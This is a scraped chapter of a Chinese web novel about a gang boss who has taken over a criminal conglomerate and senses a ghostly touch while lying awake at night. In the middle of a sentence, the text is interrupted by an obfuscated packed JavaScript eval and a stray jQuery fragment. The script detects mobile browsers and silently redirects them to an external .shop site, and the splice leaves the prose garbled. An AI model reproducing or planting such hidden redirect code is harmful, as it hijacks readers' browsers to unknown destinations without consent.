文趣网 > 都市小说 > 刀尖利益·叛生之道第三季 > 394.权压心滞
    凌晨三点过半,顶层办公室堆积如山的卷宗、产业报表、人员调度名册终于全部梳理妥当。捞哥递交完全城地下交易网点明细,又逐条汇报了线下货源、海外中转渠道的调整方案,许无意逐条敲定新规,敲定完毕后挥手让捞哥先行退下休整。三名木修与素衣女子也按照安排分赴园区各处轮换值守,偌大的顶层办公楼层彻底安静下来,只剩下通风系统持续运转的低沉嗡鸣,空气中混杂着硝烟余味、药剂淡香与草木术法灵气,层层叠叠裹住整片空间。

    连日的重压如同巨石压在许无意肩头,从前在密林石屋依靠术法强行压制假死药残留,本就损耗了大量气血,昨夜枪击凯斯时精神高度紧绷,接连数小时处置集团四万六千人的人事动荡、清算凯斯旧部、规划整条灰色产业链,精神与□□早已透支到极限。眼底酸胀发沉,太阳穴突突地持续抽痛,四肢遍布挥之不去的酸软疲惫,再多野心与算计,此刻也抵不过汹涌而来的困意。

    主楼顶层内侧配套着一间独立休息室,是从前凯斯专属的卧房,宽大柔软的真皮大床,铺着厚实的深色羊绒被褥,窗边落地窗帘拉得严严实实,隔绝窗外园区惨白路灯,屋内只留一盏光线柔和的暗黄色床头小灯,光线朦胧昏暗,勉强勾勒出房间家具的轮廓。

    许无意褪去沾着淡淡血渍与硝烟的黑色外衣,随手搭在一旁真皮单人沙发上,只穿着内里单薄的黑色打底衣衫,浑身疲惫地直直仰面躺倒在宽大床榻之上。床垫柔软下陷,短暂缓解了四肢积攒的酸痛,他闭上双眼,本以为紧绷多日的神经能立刻放松下来,沉入安稳的睡眠,可仅仅平躺不到两分钟,胸腔深处骤然传来一阵突兀的闷痛。

    心口像是被一只无形的手紧紧攥住,钝重的闷痛感顺着血管蔓延至四肢百骸,心跳骤然紊乱,忽快忽慢,砰砰撞击着胸腔内壁,连带呼吸都变得滞涩不畅。他眉头紧紧拧起,额角渗出一层细密冰凉的冷汗,原本沉下去的困意瞬间消散大半,下意识抬手按压胸口,指尖触到的皮肤一片冰凉,那股窒息般的不适感丝毫没有缓解。

    平躺的姿势只会加剧心脏的压迫感,许无意强撑着疲惫,费力调整身形,缓缓侧过身体,以右侧卧的姿势蜷缩少许。调整睡姿的瞬间,胸腔受到的挤压骤然减轻,紊乱跳动的心脏慢慢平复下来,闷痛一点点消散,绵长安稳的呼吸终于重新恢复平稳。

    侧躺过后,心口的不适感彻底褪去,昏沉的睡意再度席卷而来,可新的不适感紧随而至。这间卧房常年只有凯斯一人居住,地下一层便是药剂库房,地底寒气顺着墙体缝隙缓缓向上渗透,加之深夜林间蓝雾漫入顶层通风管道,屋内气温极低,单薄衣衫根本抵挡不住四处蔓延的阴冷。丝丝凉意顺着裸露的脖颈、手臂、脚踝钻进皮肤,寒意渗入骨骼深处,激起一阵细密的寒颤。

    许无意下意识收拢四肢,整个人蜷缩成一团,伸手拉扯厚实羊绒被褥,将自身从头到脚紧紧裹住,只露出半边脸颊,厚重被褥层层堆叠,勉强隔绝外界刺骨寒气。被褥面料柔软温热,暂时驱散了体表外露的冰冷,困意再次拉扯着他的意识,眼皮沉重得如同坠上铅块,意识渐渐变得模糊,半睡半醒之间,周遭的一切都蒙上一层朦胧虚幻的薄纱。

    周遭安静得诡异,窗外园区巡逻人员的脚步声距离顶层极远,微弱的声响隔着厚重墙体消散殆尽,屋内唯有床头灯微弱光晕、通风机细碎嗡鸣,安静得能清晰听见自己平稳起伏的心跳。就在意识即将彻底坠入沉睡的刹那,许无意忽然清晰感知到一缕轻柔微凉的触感落在自己裸露的侧颈。

    那触感很轻,不似活人温热的手掌,带着一种虚无缥缈的凉润,指尖轻轻摩挲着颈侧肌肤,动作缓慢又温柔,顺着脖颈缓缓向上,拂过他紧绷的眉骨,又轻轻滑落,顺着肩头被褥边缘缓慢游走。

    许无意混沌的意识猛地一震,心底生出一种极其矛盾的感受,这双手给他的感觉熟悉又陌生。

    熟悉,是因为这轻柔细腻的触碰,带着独属于宋彤的细腻温柔。从前他埋头研发药剂,连续几日困在实验室不眠不休,宋彤总会悄悄送来温热茶水,安静坐在一旁,趁着他闭目小憩时,小心翼翼替他揉按紧绷的眉心,指尖便是这般轻柔舒缓,不带半分压迫。无数个压抑煎熬的日夜,只有宋彤会给予他这般不带功利、纯粹柔软的安抚,这份触感深深烙印在他记忆深处,哪怕如今他手握权柄、满身杀伐,也不可能轻易遗忘。

    可陌生感同样浓烈,清晰地萦绕在感官之中。宋彤是活生生的人,掌心带着人体恒定的温热,而此刻落在身上的触感冰凉虚无,没有血肉实感,像是一缕漂浮不定的虚影,轻飘飘擦过皮肤,触碰的瞬间,空气中悄然漫开一层极淡、几乎难以捕捉的魂魄气息。

    那气息不同于木修的青木灵气,不同于素衣女术修操控的雾霭,是一种游离在生死边界、单薄缥缈的阴柔气息,淡得几乎会被屋内药剂与草木气味掩盖,却精准钻入许无意的感知之中。他刚刚经历假死骗局,被术修强行从死亡边缘拉回,对魂魄、生死相关的气息感知远超常人,瞬间分辨出这缕气息的本质。

    那双手依旧没有停下动作,缓缓抚过他蜷缩的后背,隔着一层薄薄被褥轻轻安抚,动作温柔缱绻,带着难以言说的眷恋与悲凉,像是积攒了无数没能说出口的心事,只能以这种虚无的方式触碰心心念念之人。

    许无意的神经瞬间紧绷,混沌的睡意荡然无存,心脏刚刚平复没多久,又骤然泛起一阵细微的悸动,说不清是惊惧,还是心底翻涌的复杂情愫。他能清晰感知到那双手始终围绕在自己身侧,无处不在,却没有半分实体重量,仿佛只是一缕执念凝聚而成的幻影。

    他心底暗自揣测,难道是宋彤心中执念太深,日夜牵挂自己,浓烈的爱意化作魂魄虚影,不受控制地寻到这间卧房?可转念又推翻这个猜想,宋彤尚且好好待在楼下财务专属房间,方才转角分明亲眼看见她落寞转身离去,肉身完好无损,不可能分出魂魄游荡至此。

    亦或是昨夜死去的凯斯残存的残魂前来作祟?可凯斯满心贪婪与恨意,若是残魂徘徊,只会带着刺骨怨毒,绝不会拥有这般温柔安抚的触碰,二者气息天差地别,完全不可能混淆。

    无数猜测在脑海飞速翻涌,虚无手掌的抚摸依旧不曾停歇,微凉触感缓缓划过他的手腕,正是当初他被假死药麻痹、浑身僵冷时,宋彤不顾一切想要触碰、却被凯斯厉声制止的位置。那缕淡淡的魂魄气息愈发清晰,缠绕在被褥四周,将整个人轻轻包裹,阴冷的房间仿佛多了一层虚幻温柔的屏障,刺骨寒意都淡去几分。

    许无意再也无法维持佯装沉睡的状态,心底的惊疑、困惑、柔软交织在一起,猛地用力掀开沉重的眼皮,骤然睁开双眼。

    昏暗柔和的床头灯光瞬间映入眼帘,视线快速扫过整张床榻四周。宽大的床榻之上只有他一人蜷缩在被褥之间,身侧空荡荡的,没有任何人的身影。床边沙发上空无一人,落地窗帘紧闭,门窗锁扣完好,没有缝隙可供外人潜入,卧房的房门从内部反锁,术修在外值守,绝无任何人能悄无声息走进这间休息室。

    他下意识转动脖颈,环顾房间每一处角落,书桌、储物柜、窗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734554|205039||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    边休闲椅,所有位置一览无余,没有半道人影,连一丝流动的雾气都消失不见,方才萦绕周身的魂魄气息、轻柔抚摸的触感,如同潮水一般瞬间褪去,消失得干干净净,仿佛方才所有感知都只是沉睡中生出的虚妄幻梦。

    屋内重新恢复死寂,只剩下通风机单调的嗡鸣,刺骨的阴冷再次席卷全身,没有了那道虚无虚影带来的微弱暖意,厚重被褥也挡不住深入骨髓的寒凉。

    许无意微微抬起身,靠在床头,眉头紧锁,抬手轻轻抚过方才被触碰过的眉骨与颈侧,肌肤之上还残留着转瞬即逝的冰凉触感,真实得绝不像是单纯的梦境。心底那股熟悉又陌生的矛盾感久久不散,空气中那缕魂魄残留的淡弱气息还未完全消散,若有若无萦绕鼻尖,佐证方才的一切并非幻觉。

    他想起宋彤方才落寞离去的背影,想起她藏在眼底从未掩饰的爱慕,想起昨夜凯斯拿她家人威胁她时,她不顾一切袒护自己的模样;又想起自己如今满身杀伐,被滔天野心裹挟,一心稳固四万六千人的庞大集团,早已无暇顾及儿女情长,一次次忽视她藏在心底的情意。

    难道是宋彤心底积压的思念太过沉重,执念化作无形虚影,不受自身控制地来到此处,只是想安静触碰自己片刻,纾解满心牵挂?

    这个念头冒出来的瞬间,许无意心口方才消退的闷痛再次隐隐浮现,不同于先前心脏受压迫的钝痛,此刻是掺杂着愧疚与怅然的酸涩。他亲手斩断凯斯的贪婪权欲,夺回属于自己的一切,坐拥数不尽的灰色财富、遍布各地的产业、拥有术法之力的手下,看似掌控全局,可心底却有着一处无法填补的空缺。

    他知晓宋彤的心意,也并非全然无动于衷,只是夺权的野心、四处潜藏的危机、警方不间断的追查、四十八名伺机而动的凯斯旧部、隔壁虎视眈眈的电诈园区,无数重担压在肩头,迫使他刻意封闭内心柔软,将所有儿女情长全部搁置一旁,刻意推开那份触手可及的温情。

    方才虚无虚影温柔的抚摸,像是无声的质问,又像是不求回应的陪伴,仅仅片刻,便彻底搅乱他好不容易稳住的心绪。

    许无意重新躺回床榻,再次蜷缩起身体,紧紧裹住羊绒被褥,试图驱散房间里无处不在的阴冷。可无论如何调整睡姿,心底的纷乱思绪都无法平息,睡意彻底消失殆尽,只要闭上眼睛,脑海中就会重现那道虚无缥缈、温柔抚过自己的双手,还有那一缕独属于执念的淡淡魂魄气息。

    卧房隔绝了园区所有喧嚣,顶层高处寂静孤冷,窗外林间漫来的蓝雾贴着玻璃窗缓缓流动,昏暗灯光映着他独自蜷缩的单薄身影。手握四万六千人的产业,能轻易决定无数人的去留与命运,能设计圈套让贪婪的凯斯坠入毁灭,可此刻独处一室,却抵不过一缕执念凝成的虚幻触感,心底的野心、愧疚、怅惘层层缠绕,在寂静寒夜里,漫开无边无际的孤凉氛围感。

    他反复侧耳聆听门外动静,楼下术修巡逻的脚步声规律遥远,没有任何人靠近卧房,再次确认无人闯入,可方才真实无比的触感与魂魄气息,始终在感官里挥之不去。分不清是浓烈执念催生的幻相,还是阴阳边界游离的残魂,唯一能确定的是,那双手藏着沉甸甸、无处安放的爱意,和宋彤眼底藏了多年的温柔如出一辙。

    漫长深夜,偌大奢华的单人卧房只剩他一人,被褥再厚,也挡不住心底蔓延开来的寒意,半睡半醒间残留的虚幻触感反复在脑海回放,淡淡的魂魄气息萦绕不散,整间屋子都浸在一种温柔又悲凉、虚幻又真实的压抑氛围之中,野心再盛大,也填不满此刻孤身一人的空落。